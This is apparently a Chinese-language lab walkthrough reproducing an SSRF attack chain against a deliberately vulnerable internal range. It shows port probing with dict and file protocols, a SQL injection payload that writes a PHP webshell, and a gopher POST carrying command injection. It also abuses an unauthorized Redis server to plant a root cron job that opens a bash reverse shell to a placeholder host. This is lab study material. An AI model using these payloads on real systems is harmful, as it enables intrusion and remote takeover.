ssrf打穿内网

前言

看到国光师傅的文章,复现一遍,靶场搭建来自 https://github.com/Duoduo-chino/ssrf_vul

靶场搭建

复现

ssrf探测内网端口

访问首页

用file协议测试ssrf

探测内网信息,确定是在内网中,可以对其他网段进行探测

用http协议测试

用dict协议探测内网信息,dict协议一般只能探测出一些带tcp回显的端口,使用bp迭代爆破

选定爆破变量为d段和端口

payload1,d段ip

payload2 常用端口

爆破出开放端口情况

整理一下(国光师傅给出的端口开放情况),实际这里是docker搭建会有差别,没有探测到3306,靶机也只开放了7个

1
2
3
4
5
6
7
8
9
172.72.23.21 - 80
172.72.23.22 - 80
172.72.23.23 - 803306
172.72.23.24 - 80
172.72.23.25 - 80
172.72.23.26 - 8080
172.72.23.27 - 6379
172.72.23.28 - 6379
172.72.23.29 - 3306

22代码执行

这里存在一个代码执行,使用http协议用burp去爆破目录

爆破出phpinfo和一个webshell

拿着webshell执行命令

要注意,这里执行命令如果用空格需要用URL编码空格

如果再bp中需要进行两次编码

23sql注入

http协议探测23,直接告诉我们sql注入

抓包注入,这里用/**/代替空格,可以免去二次url编码,%2523为#的两次编码

发现是root尝试直接写webshell

1
url=http://172.72.23.23/?id=1'/**/union/**/select/**/1,2,3,'<?php%2520system($_GET[1]);%2520?>'/**/into/**/dumpfile/**/'/var/www/html/x.php'%2523

24命令执行

很经典的一个rce

但是这里是post发包,要用gopher协议去发包

关于gopher协议详细介绍 https://www.freebuf.com/articles/web/337824.html

构造一个post数据包,删除这一行,否则会被两次gzip编码

1
Accept-Encoding: gzip, deflate

构造一个简单的数据包

1
2
3
4
5
6
7
POST / HTTP/1.1
host: 172.72.23.24
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Upgrade-Insecure-Requests: 1

ip=127.0.0.1;whoami

再将整个数据包用url编码两次,编码两次的数据包就是最终的tcp数据流

1
url=gopher://<host>:<port>/<gopher-path>_<TCP数据流>

25XXE

跟命令执行差不多

26tomcat

也是一样,URL编码两次以后用gopher协议去发包

27 Redis未授权

内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务,系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 清空 key
flushall

# 设置要操作的路径为定时任务目录
config set dir /var/spool/cron/

# 设置定时任务角色为 root
config set dbfilename root

# 设置定时任务内容
set x "\n* * * * * /bin/bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\n"

# 保存操作
save

命令格式

1
dict://ip:port/redis命令

写计划任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 清空 key
dict://172.72.23.27:6379/flushall

# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/

# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root

# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"

# 保存上述操作
dict://172.72.23.27:6379/save

接受到shell